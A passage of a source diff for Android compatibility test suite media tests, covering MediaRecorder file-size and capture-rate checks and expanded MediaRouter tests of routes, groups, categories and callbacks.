+            if (!mMaxFileSizeApproachingCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
+                fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_FILESIZE_APPROACHING");
+            }
+            if (!mNextOutputFileStartedCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
+                fail("timed out waiting for MEDIA_RECORDER_INFO_NEXT_OUTPUT_FILE_STARTED");
+            }
+            fileCount++;
+            mMaxFileSizeApproachingCond.close();
+            mNextOutputFileStartedCond.close();
+        }
+
+        mExpectMaxFileCond = true;
+        if (!mMaxFileSizeCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
+            fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED");
+        }
+        mMediaRecorder.stop();
+
+        for (String filePath : recordFileList) {
+            checkOutputFileSize(filePath, fileSize, tolerance);
+        }
+    }
+
+    private void checkOutputFileSize(final String fileName, long fileSize, long tolerance) {
+        File file = new File(fileName);
+        assertTrue(file.exists());
+        assertEquals(fileSize, file.length(), tolerance);
+        assertTrue(file.delete());
     }
 
     public void testOnErrorListener() throws Exception {
-        if (!hasMicrophone() || !hasAmrNb()) {
+        if (!hasMicrophone() || !hasAac()) {
             MediaUtils.skipTest("no audio codecs or microphone");
             return;
         }
         mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
 
         recordMedia(MAX_FILE_SIZE, mOutFile);
         // TODO: how can we trigger a recording error?
@@ -1061,4 +1547,29 @@
     private static boolean hasH264() {
         return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_VIDEO_AVC);
     }
+
+    public void testSetCaptureRate() throws Exception {
+        // No exception expected for 30fps
+        mMediaRecorder.setCaptureRate(30.0);
+        try {
+            mMediaRecorder.setCaptureRate(-1.0);
+            fail("Should fail setting negative fps");
+        } catch (Exception ex) {
+            // expected
+        }
+        // No exception expected for 1/24hr
+        mMediaRecorder.setCaptureRate(1.0 / 86400.0);
+        try {
+            mMediaRecorder.setCaptureRate(1.0 / 90000.0);
+            fail("Should fail setting smaller fps than one frame per day");
+        } catch (Exception ex) {
+            // expected
+        }
+        try {
+            mMediaRecorder.setCaptureRate(0);
+            fail("Should fail setting zero fps");
+        } catch (Exception ex) {
+            // expected
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 33544b9..46bcb58 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -15,11 +15,21 @@
  */
 package android.media.cts;
 
+import android.media.cts.R;
+
+import android.app.PendingIntent;
 import android.content.Context;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.drawable.Drawable;
+import android.media.AudioManager;
 import android.media.MediaRouter;
+import android.media.MediaRouter.RouteGroup;
 import android.media.MediaRouter.RouteCategory;
 import android.media.MediaRouter.RouteInfo;
 import android.media.MediaRouter.UserRouteInfo;
+import android.media.RemoteControlClient;
 import android.test.InstrumentationTestCase;
 
 import java.util.List;
@@ -30,15 +40,35 @@
  */
 public class MediaRouterTest extends InstrumentationTestCase {
 
+    private static final int TEST_ROUTE_NAME_RESOURCE_ID = R.string.test_user_route_name;
+    private static final int TEST_CATEGORY_NAME_RESOURCE_ID = R.string.test_route_category_name;
+    private static final int TEST_ICON_RESOURCE_ID = R.drawable.single_face;
+    private static final int TEST_MAX_VOLUME = 100;
+    private static final int TEST_VOLUME = 17;
+    private static final int TEST_VOLUME_DIRECTION = -2;
+    private static final int TEST_PLAYBACK_STREAM = AudioManager.STREAM_ALARM;
+    private static final int TEST_VOLUME_HANDLING = RouteInfo.PLAYBACK_VOLUME_VARIABLE;
+    private static final int TEST_PLAYBACK_TYPE = RouteInfo.PLAYBACK_TYPE_LOCAL;
+    private static final CharSequence TEST_ROUTE_DESCRIPTION = "test_user_route_description";
+    private static final CharSequence TEST_STATUS = "test_user_route_status";
+    private static final CharSequence TEST_GROUPABLE_CATEGORY_NAME = "test_groupable_category_name";
+
     private MediaRouter mMediaRouter;
     private RouteCategory mTestCategory;
+    private RouteCategory mTestGroupableCategory;
+    private CharSequence mTestRouteName;
+    private Drawable mTestIconDrawable;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         final Context context = getInstrumentation().getContext();
         mMediaRouter = (MediaRouter) context.getSystemService(Context.MEDIA_ROUTER_SERVICE);
-        mTestCategory = mMediaRouter.createRouteCategory("testCategory", false);
+        mTestCategory = mMediaRouter.createRouteCategory(TEST_CATEGORY_NAME_RESOURCE_ID, false);
+        mTestGroupableCategory = mMediaRouter.createRouteCategory(TEST_GROUPABLE_CATEGORY_NAME,
+                true);
+        mTestRouteName = getInstrumentation().getContext().getText(TEST_ROUTE_NAME_RESOURCE_ID);
+        mTestIconDrawable = getInstrumentation().getContext().getDrawable(TEST_ICON_RESOURCE_ID);
     }
 
     protected void tearDown() throws Exception {
@@ -46,71 +76,640 @@
         super.tearDown();
     }
 
-    public void testSelectRoute() throws Exception {
+    /**
+     * Test {@link MediaRouter#selectRoute(int, RouteInfo)}.
+     */
+    public void testSelectRoute() {
         RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute(
                 MediaRouter.ROUTE_TYPE_LIVE_AUDIO | MediaRouter.ROUTE_TYPE_LIVE_VIDEO
                 | MediaRouter.ROUTE_TYPE_REMOTE_DISPLAY);
+        assertNotNull(prevSelectedRoute);
 
-        final String newRouteName = "User route's name";
-        UserRouteInfo newRoute = mMediaRouter.createUserRoute(mTestCategory);
-        newRoute.setName(newRouteName);
-        mMediaRouter.addUserRoute(newRoute);
-        mMediaRouter.selectRoute(newRoute.getSupportedTypes(), newRoute);
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute);
+        mMediaRouter.selectRoute(userRoute.getSupportedTypes(), userRoute);
 
         RouteInfo nowSelectedRoute = mMediaRouter.getSelectedRoute(MediaRouter.ROUTE_TYPE_USER);
-        assertEquals(newRoute, nowSelectedRoute);
+        assertEquals(userRoute, nowSelectedRoute);
         assertEquals(mTestCategory, nowSelectedRoute.getCategory());
 
         mMediaRouter.selectRoute(prevSelectedRoute.getSupportedTypes(), prevSelectedRoute);
     }
 
-    public void testGetRouteCount() throws Exception {
+    /**
+     * Test {@link MediaRouter#getRouteCount()}.
+     */
+    public void testGetRouteCount() {
         final int count = mMediaRouter.getRouteCount();
         assertTrue("By default, a media router has at least one route.", count > 0);
 
-        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestCategory);
-        mMediaRouter.addUserRoute(userRoute1);
+        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute0);
         assertEquals(count + 1, mMediaRouter.getRouteCount());
 
-        mMediaRouter.removeUserRoute(userRoute1);
+        mMediaRouter.removeUserRoute(userRoute0);
         assertEquals(count, mMediaRouter.getRouteCount());
 
-        UserRouteInfo userRoute2 = mMediaRouter.createUserRoute(mTestCategory);
+        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute0);
         mMediaRouter.addUserRoute(userRoute1);
-        mMediaRouter.addUserRoute(userRoute2);
         assertEquals(count + 2, mMediaRouter.getRouteCount());
 
         mMediaRouter.clearUserRoutes();
         assertEquals(count, mMediaRouter.getRouteCount());
     }
 
-    public void testRouteCategory() throws Exception {
+    /**
+     * Test {@link MediaRouter#getRouteAt(int)}.
+     */
+    public void testGetRouteAt() throws Exception {
+        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestCategory);
+        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute0);
+        mMediaRouter.addUserRoute(userRoute1);
+
+        int count = mMediaRouter.getRouteCount();
+        assertEquals(userRoute0, mMediaRouter.getRouteAt(count - 2));
+        assertEquals(userRoute1, mMediaRouter.getRouteAt(count - 1));
+    }
+
+    /**
+     * Test {@link MediaRouter.UserRouteInfo} with the default route.
+     */
+    public void testDefaultRouteInfo() {
+        Context context = getInstrumentation().getContext();
+        RouteInfo route = mMediaRouter.getDefaultRoute();
+
+        assertNotNull(route.getCategory());
+        assertNotNull(route.getName());
+        assertNotNull(route.getName(context));
+        assertTrue(route.isEnabled());
+        assertFalse(route.isConnecting());
+        assertEquals(RouteInfo.DEVICE_TYPE_UNKNOWN, route.getDeviceType());
+        assertEquals(RouteInfo.PLAYBACK_TYPE_LOCAL, route.getPlaybackType());
+        assertNull(route.getDescription());
+        assertNull(route.getStatus());
+        assertNull(route.getIconDrawable());
+        assertNull(route.getGroup());
+
+        Object tag = new Object();
+        route.setTag(tag);
+        assertEquals(tag, route.getTag());
+
+        assertEquals(AudioManager.STREAM_MUSIC, route.getPlaybackStream());
+        if (RouteInfo.PLAYBACK_VOLUME_VARIABLE == route.getVolumeHandling()) {
+            int curVolume = route.getVolume();
+            int maxVolume = route.getVolumeMax();
+            assertTrue(curVolume <= maxVolume);
+            route.requestSetVolume(maxVolume);
+            assertEquals(maxVolume, route.getVolume());
+            route.requestUpdateVolume(-maxVolume);
+            assertEquals(0, route.getVolume());
+            route.requestUpdateVolume(curVolume);
+            assertEquals(curVolume, route.getVolume());
+        }
+    }
+
+    /**
+     * Test {@link MediaRouter.UserRouteInfo}.
+     */
+    public void testUserRouteInfo() {
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
+        assertTrue(userRoute.isEnabled());
+        assertFalse(userRoute.isConnecting());
+        assertEquals(mTestCategory, userRoute.getCategory());
+        assertEquals(RouteInfo.DEVICE_TYPE_UNKNOWN, userRoute.getDeviceType());
+        assertEquals(RouteInfo.PLAYBACK_TYPE_REMOTE, userRoute.getPlaybackType());
+
+        // Test setName by CharSequence object.
+        userRoute.setName(mTestRouteName);
+        assertEquals(mTestRouteName, userRoute.getName());
+
+        userRoute.setName(null);
+        assertNull(userRoute.getName());
+
+        // Test setName by resource ID.
+        // The getName() method tries to find the resource in application resources which was stored
+        // when the media router is first initialized. In contrast, getName(Context) method tries to
+        // find the resource in a given context's resources. So if we call getName(Context) with a
+        // context which has the same resources, two methods will return the same value.
+        userRoute.setName(TEST_ROUTE_NAME_RESOURCE_ID);
+        assertEquals(mTestRouteName, userRoute.getName());
+        assertEquals(mTestRouteName, userRoute.getName(getInstrumentation().getContext()));
+
+        userRoute.setDescription(TEST_ROUTE_DESCRIPTION);
+        assertEquals(TEST_ROUTE_DESCRIPTION, userRoute.getDescription());
+
+        userRoute.setStatus(TEST_STATUS);
+        assertEquals(TEST_STATUS, userRoute.getStatus());
+
+        Object tag = new Object();
+        userRoute.setTag(tag);
+        assertEquals(tag, userRoute.getTag());
+
+        userRoute.setPlaybackStream(TEST_PLAYBACK_STREAM);
+        assertEquals(TEST_PLAYBACK_STREAM, userRoute.getPlaybackStream());
+
+        userRoute.setIconDrawable(mTestIconDrawable);
+        assertEquals(mTestIconDrawable, userRoute.getIconDrawable());
+
+        userRoute.setIconDrawable(null);
+        assertNull(userRoute.getIconDrawable());
+
+        userRoute.setIconResource(TEST_ICON_RESOURCE_ID);
+        assertTrue(getBitmap(mTestIconDrawable).sameAs(getBitmap(userRoute.getIconDrawable())));
+
+        userRoute.setVolumeMax(TEST_MAX_VOLUME);
+        assertEquals(TEST_MAX_VOLUME, userRoute.getVolumeMax());
+
+        userRoute.setVolume(TEST_VOLUME);
+        assertEquals(TEST_VOLUME, userRoute.getVolume());
+
+        Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
+        PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
+                getInstrumentation().getContext(), 0, intent, PendingIntent.FLAG_ONE_SHOT);
+        RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
+        userRoute.setRemoteControlClient(rcc);
+        assertEquals(rcc, userRoute.getRemoteControlClient());
+
+        userRoute.setVolumeHandling(TEST_VOLUME_HANDLING);
+        assertEquals(TEST_VOLUME_HANDLING, userRoute.getVolumeHandling());
+
+        userRoute.setPlaybackType(TEST_PLAYBACK_TYPE);
+        assertEquals(TEST_PLAYBACK_TYPE, userRoute.getPlaybackType());
+    }
+
+    /**
+     * Test {@link MediaRouter.RouteGroup}.
+     */
+    public void testRouteGroup() {
+        // Create a route with a groupable category.
+        // A route does not belong to any group until it is added to a media router or to a group.
+        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+        assertNull(userRoute0.getGroup());
+
+        // Call addUserRoute(UserRouteInfo).
+        // For the route whose category is groupable, this method does not directly add the route in
+        // the media router. Instead, it creates a RouteGroup, adds the group in the media router,
+        // and puts the route inside that group.
+        mMediaRouter.addUserRoute(userRoute0);
+        RouteGroup routeGroup = userRoute0.getGroup();
+        assertNotNull(routeGroup);
+        assertEquals(1, routeGroup.getRouteCount());
+        assertEquals(userRoute0, routeGroup.getRouteAt(0));
+
+        // Create another two routes with the same category.
+        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+        UserRouteInfo userRoute2 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+
+        // Add userRoute2 at the end of the group.
+        routeGroup.addRoute(userRoute2);
+        assertSame(routeGroup, userRoute2.getGroup());
+        assertEquals(2, routeGroup.getRouteCount());
+        assertEquals(userRoute0, routeGroup.getRouteAt(0));
+        assertEquals(userRoute2, routeGroup.getRouteAt(1));
+
+        // To place routes in order, add userRoute1 to the group between userRoute0 and userRoute2.
+        routeGroup.addRoute(userRoute1, 1);
+        assertSame(routeGroup, userRoute1.getGroup());
+        assertEquals(3, routeGroup.getRouteCount());
+        assertEquals(userRoute0, routeGroup.getRouteAt(0));
+        assertEquals(userRoute1, routeGroup.getRouteAt(1));
+        assertEquals(userRoute2, routeGroup.getRouteAt(2));
+
+        // Remove userRoute0.
+        routeGroup.removeRoute(userRoute0);
+        assertNull(userRoute0.getGroup());
+        assertEquals(2, routeGroup.getRouteCount());
+        assertEquals(userRoute1, routeGroup.getRouteAt(0));
+        assertEquals(userRoute2, routeGroup.getRouteAt(1));
+
+        // Remove userRoute1 which is the first route in the group now.
+        routeGroup.removeRoute(0);
+        assertNull(userRoute1.getGroup());
+        assertEquals(1, routeGroup.getRouteCount());
+        assertEquals(userRoute2, routeGroup.getRouteAt(0));
+
+        // Routes in different categories cannot be added to the same group.
+        UserRouteInfo userRouteInAnotherCategory = mMediaRouter.createUserRoute(mTestCategory);
+        try {
+            // This will throw an IllegalArgumentException.
+            routeGroup.addRoute(userRouteInAnotherCategory);
+            fail();
+        } catch (IllegalArgumentException exception) {
+            // Expected
+        }
+
+        // Set an icon for the group.
+        routeGroup.setIconDrawable(mTestIconDrawable);
+        assertEquals(mTestIconDrawable, routeGroup.getIconDrawable());
+
+        routeGroup.setIconDrawable(null);
+        assertNull(routeGroup.getIconDrawable());
+
+        routeGroup.setIconResource(TEST_ICON_RESOURCE_ID);
+        assertTrue(getBitmap(mTestIconDrawable).sameAs(getBitmap(routeGroup.getIconDrawable())));
+    }
+
+    /**
+     * Test {@link MediaRouter.RouteCategory}.
+     */
+    public void testRouteCategory() {
+        // Test getName() for category whose name is set with resource ID.
+        RouteCategory routeCategory = mMediaRouter.createRouteCategory(
+                TEST_CATEGORY_NAME_RESOURCE_ID, false);
+
+        // The getName() method tries to find the resource in application resources which was stored
+        // when the media router is first initialized. In contrast, getName(Context) method tries to
+        // find the resource in a given context's resources. So if we call getName(Context) with a
+        // context which has the same resources, two methods will return the same value.
+        CharSequence categoryName = getInstrumentation().getContext().getText(
+                TEST_CATEGORY_NAME_RESOURCE_ID);
+        assertEquals(categoryName, routeCategory.getName());
+        assertEquals(categoryName, routeCategory.getName(getInstrumentation().getContext()));
+
+        assertFalse(routeCategory.isGroupable());
+        assertEquals(MediaRouter.ROUTE_TYPE_USER, routeCategory.getSupportedTypes());
+
         final int count = mMediaRouter.getCategoryCount();
         assertTrue("By default, a media router has at least one route category.", count > 0);
 
-        UserRouteInfo newRoute = mMediaRouter.createUserRoute(mTestCategory);
-        mMediaRouter.addUserRoute(newRoute);
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(routeCategory);
+        mMediaRouter.addUserRoute(userRoute);
         assertEquals(count + 1, mMediaRouter.getCategoryCount());
+        assertEquals(routeCategory, mMediaRouter.getCategoryAt(count));
 
-        for (int i = 0; i < mMediaRouter.getCategoryCount(); i++) {
-            if (mMediaRouter.getCategoryAt(i) == mTestCategory) {
-                List<RouteInfo> routesInCategory = new ArrayList<RouteInfo>();
-                mTestCategory.getRoutes(routesInCategory);
-                assertEquals(1, routesInCategory.size());
+        List<RouteInfo> routesInCategory = new ArrayList<RouteInfo>();
+        routeCategory.getRoutes(routesInCategory);
+        assertEquals(1, routesInCategory.size());
 
-                RouteInfo route = routesInCategory.get(0);
-                assertEquals(newRoute, route);
-                return;
-            }
-        }
-        assertTrue(false);
+        RouteInfo route = routesInCategory.get(0);
+        assertEquals(userRoute, route);
+
+        // Test getName() for category whose name is set with CharSequence object.
+        RouteCategory newRouteCategory = mMediaRouter.createRouteCategory(categoryName, false);
+        assertEquals(categoryName, newRouteCategory.getName());
     }
 
-    public void testRouteInfo_getDeviceType() throws Exception {
-        final RouteInfo defaultRoute = mMediaRouter.getDefaultRoute();
-        assertTrue(defaultRoute != null);
+    public void testCallback() {
+        MediaRouterCallback callback = new MediaRouterCallback();
+        MediaRouter.Callback mrc = (MediaRouter.Callback) callback;
+        MediaRouter.SimpleCallback mrsc = (MediaRouter.SimpleCallback) callback;
 
-        final int deviceType = defaultRoute.getDeviceType();
-        assertEquals(RouteInfo.DEVICE_TYPE_UNKNOWN, deviceType);
+        final int allRouteTypes = MediaRouter.ROUTE_TYPE_LIVE_AUDIO
+                | MediaRouter.ROUTE_TYPE_LIVE_VIDEO | MediaRouter.ROUTE_TYPE_REMOTE_DISPLAY
+                | MediaRouter.ROUTE_TYPE_USER;
+        mMediaRouter.addCallback(allRouteTypes, callback);
+
+        // Test onRouteAdded().
+        callback.reset();
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute);
+        assertTrue(callback.mOnRouteAddedCalled);
+        assertEquals(userRoute, callback.mAddedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteAdded(mMediaRouter, callback.mAddedRoute);
+        mrsc.onRouteAdded(mMediaRouter, callback.mAddedRoute);
+
+        RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute();
+
+        // Test onRouteSelected() and onRouteUnselected().
+        callback.reset();
+        mMediaRouter.selectRoute(MediaRouter.ROUTE_TYPE_USER, userRoute);
+        assertTrue(callback.mOnRouteUnselectedCalled);
+        assertEquals(prevSelectedRoute, callback.mUnselectedRoute);
+        assertTrue(callback.mOnRouteSelectedCalled);
+        assertEquals(userRoute, callback.mSelectedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteUnselected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mUnselectedRoute);
+        mrc.onRouteSelected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mSelectedRoute);
+        mrsc.onRouteUnselected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER,
+                callback.mUnselectedRoute);
+        mrsc.onRouteSelected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mSelectedRoute);
+
+        // Test onRouteChanged().
+        // It is called when the route's name, description, status or tag is updated.
+        callback.reset();
+        userRoute.setName(mTestRouteName);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(userRoute, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        callback.reset();
+        userRoute.setDescription(TEST_ROUTE_DESCRIPTION);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(userRoute, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        callback.reset();
+        userRoute.setStatus(TEST_STATUS);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(userRoute, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        callback.reset();
+        Object tag = new Object();
+        userRoute.setTag(tag);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(userRoute, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        // Test onRouteVolumeChanged().
+        userRoute.setVolumeMax(TEST_MAX_VOLUME);
+        callback.reset();
+        userRoute.setVolume(TEST_VOLUME);
+        assertTrue(callback.mOnRouteVolumeChangedCalled);
+        assertEquals(userRoute, callback.mVolumeChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteVolumeChanged(mMediaRouter, callback.mVolumeChangedRoute);
+        mrsc.onRouteVolumeChanged(mMediaRouter, callback.mVolumeChangedRoute);
+
+        // Test onRouteRemoved().
+        callback.reset();
+        mMediaRouter.removeUserRoute(userRoute);
+        assertTrue(callback.mOnRouteRemovedCalled);
+        assertEquals(userRoute, callback.mRemovedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
+        mrsc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
+
+        // Test onRouteGrouped() and onRouteUngrouped().
+        mMediaRouter.clearUserRoutes();
+        UserRouteInfo groupableRoute0 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+        UserRouteInfo groupableRoute1 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+
+        // Adding a route of groupable category in the media router does not directly add the route.
+        // Instead, it creates a RouteGroup, adds the group as a route in the media router, and puts
+        // the route inside that group. Therefore onRouteAdded() is called for the group, and
+        // onRouteGrouped() is called for the route.
+        callback.reset();
+        mMediaRouter.addUserRoute(groupableRoute0);
+
+        RouteGroup group = groupableRoute0.getGroup();
+        assertTrue(callback.mOnRouteAddedCalled);
+        assertEquals(group, callback.mAddedRoute);
+
+        assertTrue(callback.mOnRouteGroupedCalled);
+        assertEquals(groupableRoute0, callback.mGroupedRoute);
+        assertEquals(group, callback.mGroup);
+        assertEquals(0, callback.mRouteIndexInGroup);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
+                callback.mRouteIndexInGroup);
+        mrsc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
+                callback.mRouteIndexInGroup);
+
+        // Add another route to the group.
+        callback.reset();
+        group.addRoute(groupableRoute1);
+        assertTrue(callback.mOnRouteGroupedCalled);
+        assertEquals(groupableRoute1, callback.mGroupedRoute);
+        assertEquals(1, callback.mRouteIndexInGroup);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
+                callback.mRouteIndexInGroup);
+        mrsc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
+                callback.mRouteIndexInGroup);
+
+        // Since removing a route from the group changes the group's name, onRouteChanged() is
+        // called.
+        callback.reset();
+        group.removeRoute(groupableRoute1);
+        assertTrue(callback.mOnRouteUngroupedCalled);
+        assertEquals(groupableRoute1, callback.mUngroupedRoute);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(group, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        // When a group has no routes, the group is removed from the media router.
+        callback.reset();
+        group.removeRoute(0);
+        assertTrue(callback.mOnRouteUngroupedCalled);
+        assertEquals(groupableRoute0, callback.mUngroupedRoute);
+        assertTrue(callback.mOnRouteRemovedCalled);
+        assertEquals(group, callback.mRemovedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
+        mrc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
+        mrsc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
+        mrsc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
+
+        // In this case, onRouteChanged() is not called.
+        assertFalse(callback.mOnRouteChangedCalled);
+
+        // Try removing the callback.
+        mMediaRouter.removeCallback(callback);
+        callback.reset();
+        mMediaRouter.addUserRoute(groupableRoute0);
+        assertFalse(callback.mOnRouteAddedCalled);
+
+        mMediaRouter.selectRoute(prevSelectedRoute.getSupportedTypes(), prevSelectedRoute);
+    }
+
+    /**
+     * Test {@link MediaRouter#addCallback(int, MediaRouter.Callback, int)}.
+     */
+    public void testAddCallbackWithFlags() {
+        MediaRouterCallback callback = new MediaRouterCallback();
+        mMediaRouter.addCallback(MediaRouter.ROUTE_TYPE_USER, callback);
+
+        RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute(
+                MediaRouter.ROUTE_TYPE_LIVE_AUDIO | MediaRouter.ROUTE_TYPE_LIVE_VIDEO
+                | MediaRouter.ROUTE_TYPE_REMOTE_DISPLAY);
+
+        // Currently mCallback is set for the type MediaRouter.ROUTE_TYPE_USER.
+        // Changes on prevSelectedRoute will not invoke mCallback since the types do not match.
+        callback.reset();
+        Object tag0 = new Object();
+        prevSelectedRoute.setTag(tag0);
+        assertFalse(callback.mOnRouteChangedCalled);
+
+        // Remove mCallback and add it again with flag MediaRouter.CALLBACK_FLAG_UNFILTERED_EVENTS.
+        // This flag will make the callback be invoked even when the types do not match.
+        mMediaRouter.removeCallback(callback);
+        mMediaRouter.addCallback(MediaRouter.ROUTE_TYPE_USER, callback,
+                MediaRouter.CALLBACK_FLAG_UNFILTERED_EVENTS);
+
+        callback.reset();
+        Object tag1 = new Object();
+        prevSelectedRoute.setTag(tag1);
+        assertTrue(callback.mOnRouteChangedCalled);
+    }
+
+    /**
+     * Test {@link MediaRouter.VolumeCallback)}.
+     */
+    public void testVolumeCallback() {
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
+        userRoute.setVolumeHandling(RouteInfo.PLAYBACK_VOLUME_VARIABLE);
+        MediaRouterVolumeCallback callback = new MediaRouterVolumeCallback();
+        MediaRouter.VolumeCallback mrvc = (MediaRouter.VolumeCallback) callback;
+        userRoute.setVolumeCallback(callback);
+
+        userRoute.requestSetVolume(TEST_VOLUME);
+        assertTrue(callback.mOnVolumeSetRequestCalled);
+        assertEquals(userRoute, callback.mRouteInfo);
+        assertEquals(TEST_VOLUME, callback.mVolume);
+        // Call the callback method directly so it is marked as tested
+        mrvc.onVolumeSetRequest(callback.mRouteInfo, callback.mVolume);
+
+        callback.reset();
+        userRoute.requestUpdateVolume(TEST_VOLUME_DIRECTION);
+        assertTrue(callback.mOnVolumeUpdateRequestCalled);
+        assertEquals(userRoute, callback.mRouteInfo);
+        assertEquals(TEST_VOLUME_DIRECTION, callback.mDirection);
+        // Call the callback method directly so it is marked as tested
+        mrvc.onVolumeUpdateRequest(callback.mRouteInfo, callback.mDirection);
+    }
+
+    private Bitmap getBitmap(Drawable drawable) {
+        int width = drawable.getIntrinsicWidth();
+        int height = drawable.getIntrinsicHeight();
+
+        Bitmap result = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(result);
+
+        drawable.setBounds(0, 0, width, height);
+        drawable.draw(canvas);
+
+        return result;
+    }
+
+    private class MediaRouterVolumeCallback extends MediaRouter.VolumeCallback {
+        private boolean mOnVolumeUpdateRequestCalled;
+        private boolean mOnVolumeSetRequestCalled;
+        private RouteInfo mRouteInfo;
+        private int mDirection;
+        private int mVolume;
+
+        public void reset() {
+            mOnVolumeUpdateRequestCalled = false;
+            mOnVolumeSetRequestCalled = false;
+            mRouteInfo = null;
+            mDirection = 0;
+            mVolume = 0;
+        }
+
+        @Override
+        public void onVolumeUpdateRequest(RouteInfo info, int direction) {
+            mOnVolumeUpdateRequestCalled = true;
+            mRouteInfo = info;
+            mDirection = direction;
+        }
+
+        @Override
+        public void onVolumeSetRequest(RouteInfo info, int volume) {
+            mOnVolumeSetRequestCalled = true;
+            mRouteInfo = info;
+            mVolume = volume;
+        }
+    }
+
+    private class MediaRouterCallback extends MediaRouter.SimpleCallback {
+        private boolean mOnRouteSelectedCalled;
+        private boolean mOnRouteUnselectedCalled;
+        private boolean mOnRouteAddedCalled;
+        private boolean mOnRouteRemovedCalled;
+        private boolean mOnRouteChangedCalled;
+        private boolean mOnRouteGroupedCalled;
+        private boolean mOnRouteUngroupedCalled;
+        private boolean mOnRouteVolumeChangedCalled;
+
+        private RouteInfo mSelectedRoute;
+        private RouteInfo mUnselectedRoute;
+        private RouteInfo mAddedRoute;
